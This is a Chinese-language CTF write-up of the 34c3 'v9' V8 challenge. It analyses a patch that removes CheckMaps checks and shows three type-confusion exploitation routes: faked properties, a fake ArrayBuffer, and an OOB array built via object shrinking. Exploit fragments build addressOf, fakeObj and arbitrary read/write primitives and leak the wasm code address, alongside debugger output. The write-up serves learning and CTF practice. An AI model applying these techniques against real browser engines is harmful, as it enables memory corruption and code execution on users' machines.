34c3 CTF v9题解
环境搭建
patch文件在v9
1 | mkdir v9 && cd v9 |
漏洞分析
补丁如下,在RedundancyElimination::Reduce
函数中增加了对于CheckMaps
节点的Reduce
,调用函数ReduceCheckNode(node)
。另一处在函数IsCompatibleCheck
中检查第2个参数节点的maps
是否包含第1个参数节点的maps
,如果存在包含关系则返回true
。
1 | diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc |
查看IsCompatibleCheck
函数的调用,最终发现存在调用链ReduceCheckNode->EffectPathChecks->IsCompatibleCheck
。对于每个参数节点使用LookupCheck
函数查看是否有其他的check可以支配node的检查,如果有的话就调用ReplaceWithValue(node, check)
将node
节点替换为check
节点,check节点将作为reduction
返回调用函数。
1 | Reduction RedundancyElimination::ReduceCheckNode(Node* node) { |
v8使用类似链表的形式保存所有的check
节点(CheckHeapObject、CheckMaps等),Check->next
指向下一个Check
结构体,Check->node
表示检查对应的节点。在LookupCheck
函数中遍历所有的check->node
,检查有无节点同参数节点node
相兼容。如果存在某个check节点,其maps节点被node的节点所包含,则返回true,进而导致node节点被check->node
节点所替换
1 | Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const { |
查看pipeline.cc
中调用该节点优化的phase
,发现在LoadEliminationPhase
和EarlyOptimizationPhase
两个阶段中调用了该函数。
因为之前刚调了一个issue能让arr.length = -1
,在做这题时开始也想搞到一样的效果,初步想法是将classA包装在一个obj中,初次访问classA后在callback中修改obj的classA为arr,进而修改其length字段的位置为-1。后来试了蛮多代码都没法触发类型混淆,猜测是对象包装对象的话中间的checkMaps比较复杂,不一定能通过patch的代码给消除所有的检查,刚好这次学习也是为了积攒新的漏洞利用的技巧,翻阅了几个师傅的博客后学到了几种不同的利用方式,这里总结一下。
伪造Properties实现任意地址读写
参考de4dcr0w-34c3ctf-chrome-pwn分析
PoC构造
我们可以通过字典对象构造类型混淆,在foo
函数中首先访问obj.b
,此时有对obj的maps的检查,最后return时我们仍返回此对象,检查的maps依然是对obj做的,因此这里的check在patch后的lookup来看是多余的检查,因而会被消除掉,在回调函数中我们修改obj.b=arr
,返回时由于没有类型检查会将对象地址当作浮点数返回,从而leak出任意对象的地址。
1 | function foo(obj,callback){ |
addressOf原语
上面的PoC即可构造出addressOf原语
fake properties
我们首先来看下浮点数对象的内存布局,obj_addr+8
存储properties
,properties+0x10
存储obj.b
的对象地址,obj_b_addr+0x8
存储obj.b的值。
1 | DebugPrint: 0x3de5a098ccb1: [JS_OBJECT_TYPE] |
通过之前的PoC我们已经能够修改obj.b
为其他对象fake_obj
,当我们使用obj.b=val
赋值时对应到内存区域实际是对fake_obj->properties
进行赋值.
构造如下的PoC,覆盖hh.b=victim
调试观察
1 | var victim = {inline:42}; |
观察发现victim.offsetx
对象的位置均在properties
后,假如我们伪造properties
为ArrayBuffer_addr
,则victim.offset16
刚好对应到ArrayBuffer->backing_store
的存储位置。
1 | DebugPrint: 0x116f34503bb1: [JS_OBJECT_TYPE] |
如下所示为我们构造出backing_store
同offset16
位置相同的情形。
1 | //伪造后的dic,0xxx64b1为victim对象地址 |
arbRead/arbWrite原语
在前面伪造properties
的基础上,我们修改data_buf->backing_store
指向另一个ArrayBuffer,victim.offset16 = view_buf
,当我们使用var data_view = new DataView(data_buf);data_view.setFloat64(31,addr,true)
时,实际上是对view_buf+0x20
处赋值addr
,而这个位置恰好对应view_buf->backing_store
,因此再调用view_view = new DataView(view_buf);view_view.getFloat64(0,true)
时读取的对象为addr
处的值。同理也可使用setUint8
向该地址处写值。
1 | var data_buf_addr = addressOf(data_buf); |
leak wasm code
我们将wasm_function
对象作为一个新的成员加入到data_buf
中,再通过任意地址写依次读取data_buf_maps->maps_instance->instance_wasm_function
,得到该对象地址后再获取shared_info_addr->code_addr->wasm_code_addr
。
1 | function addressOfWasmObj(obj){ |
exp.js
1 | function gc() |
总结
这种攻击技巧利用了字典对象中非数字对象的存储位置,我们并非开始就构造obj={a:1,b:1.2}
,而是动态添加的方式obj.b=1.337
,这使得obj.b
第一次在回调函数中被赋值存在类型检查
,victim
时victim对象地址替代了obj.b
的对象地址,第二次obj.b
被赋值为fakeProperties
时缺失类型检查
,obj.b
对象依然按照之前的对象存储value
的位置进行赋值操作,进而往victim->properties
写入了data_buf_addr
。
对于victim
对象来说其victim.offsetx
位置由properties
决定,properties+0x20
处存储的offset16
刚好对应data_buf->backing_store
,故可通过修改offset16
来修改data_buf->backing_store
指向另一个ArrayBuffer,通过指定偏移31
又可以修改后者的backing_store
,从而实现任意地址读写。
fakeArrayBuffer
leak ArrayBuffer prototype && constructor
1 | var ab_proto_addr = addressOf(ab.__proto__); |
fake ArrayBuffer maps
伪造ArrayBuffer
的maps
如下,因为fake_map=[a,b,c]
的形式下obj_addr
和elements_addr
地址偏移不固定,所以参考姚老板的trick用字典对象。
1 | var fake_map = {x1:i2f(0xdaba0000daba0000),x2:i2f(0x1900c60f00000a),x3:i2f(0x82003ff),x4:-1.1263976280432204e+129,x5:-1.1263976280432204e+129,x6:0.0}; |
fake ArrayBuffer
伪造backing_store
只需修改y5
即可
1 | let fake_ab = {y1:i2f(fake_map_elements_addr+0x10+1),y2:i2f(fake_map_elements_addr+0x10+1),y3:i2f(fake_map_elements_addr+0x10+1),y4:i2f(0x40000000000),y5:i2f(fake_map_elements_addr+0x10),y6:i2f(0x4)}; |
fakeObj
在callback
中arr[0] = {};
让arr[0]
变为对象,arr[0] = i2f(addr+1)
赋值时缺失类型检查,arr[0]
处存放的对象地址被改为addr+1
。
1 | arr = [1.1,2.2,3.3]; |
任意地址读写
可以劫持backing_store
就可以实现任意地址写
1 | fakeObj(fake_ab_elements_addr+0x10); |
exp.js
1 | function gc() |
shrink Object
内存布局
我们以下面的代码为例调试观察
1 | function gc() { |
obj
是一个字典对象,正常是FastProperties
,在其obj_addr+0x18
处存放字典的in-object
属性
1 | DebugPrint: 0x3f088da8cda9: [JS_OBJECT_TYPE] |
然而除了fast-mode外还有一种模式为dictionary-mode
,我们执行delete obj['d'];
,对象变为了字典模式。当我们使用job观察原来的obj_addr+0x18
时显示的是free space, size 40
1 | DebugPrint: 0x3f088da8cda9: [JS_OBJECT_TYPE] |
调用gc函数,obj对象会被放到Old-Space
中,原来的obj_addr+0x18
处存放了其他移动到这里的对象
1 | DebugPrint: 0x28f16db05b61: [JS_OBJECT_TYPE] in OldSpace |
假如我们可以控制gc后obj_addr+0x18
处存放的对象为Array
,则可以通过类型混淆后的in-object
赋值修改arr
的属性,如修改length。
PoC
我们在obj
对象后面布置了arr
1 | function foo(obj,callback){ |
在未进行obj.__defineGetter__('xx',()=>2)
前,obj_addr+0x18
存储着in-object
属性
1 | DebugPrint: 0x2b965c4af989: [JS_OBJECT_TYPE] |
在未gc前
1 | DebugPrint: 0x2b965c4af989: [JS_OBJECT_TYPE] |
在gc后,发现成功让arr
布置在了obj_addr+0x18
处1
2
3
4
5
6
7
8
9
10
11
12
13
14
15gdb-peda$ telescope 0x1fb96c18bcc1-1
0000| 0x1fb96c18bcc0 --> 0x2f7537a08c41 --> 0x300002e8e55a022
0008| 0x1fb96c18bcc8 --> 0x1fb96c18be19 --> 0x2e8e55a026
0016| 0x1fb96c18bcd0 --> 0xaea0a882251 --> 0x2e8e55a022
0024| 0x1fb96c18bcd8 --> 0x2e8e55a02de1 --> 0x2e8e55a022
0032| 0x1fb96c18bce0 --> 0x200000000
0040| 0x1fb96c18bce8 --> 0x3ff199999999999a
0048| 0x1fb96c18bcf0 --> 0x400199999999999a
0056| 0x1fb96c18bcf8 --> 0x2f7537a02841 --> 0x400002e8e55a022
gdb-peda$ job 0x1fb96c18bcd9
0x1fb96c18bcd9: [FixedDoubleArray] in OldSpace
- map = 0x2e8e55a02de1 <Map(HOLEY_DOUBLE_ELEMENTS)>
- length: 2
0: 1.1
1: 2.2
再加一条调试,发现d
对应arr.length
,修改后即可得到一个oob数组
1 | gdb-peda$ telescope 0x2572fdb0bcf9-1 20 |
漏洞利用
有了OOB数组后面的利用就很常规了,这里就不再赘述了.
利用效果
总结
花了几天时间总结了34c3 CTF v9
的几种利用方式,其中第一和第三种方式在debug
版本里也可以过,第二种只能在release
中用,个人觉得第三种方法是最简单的,第二种是最直观的,第一种方式比较绕,不过很有意思,对于checkMaps
消除类型的题目上述几种方法可以作为比较通用的思路。注意这里第二种方式里我们其实已经构造出了fakeObj
原语,所以通过之前的利用方式也可以继续往后走。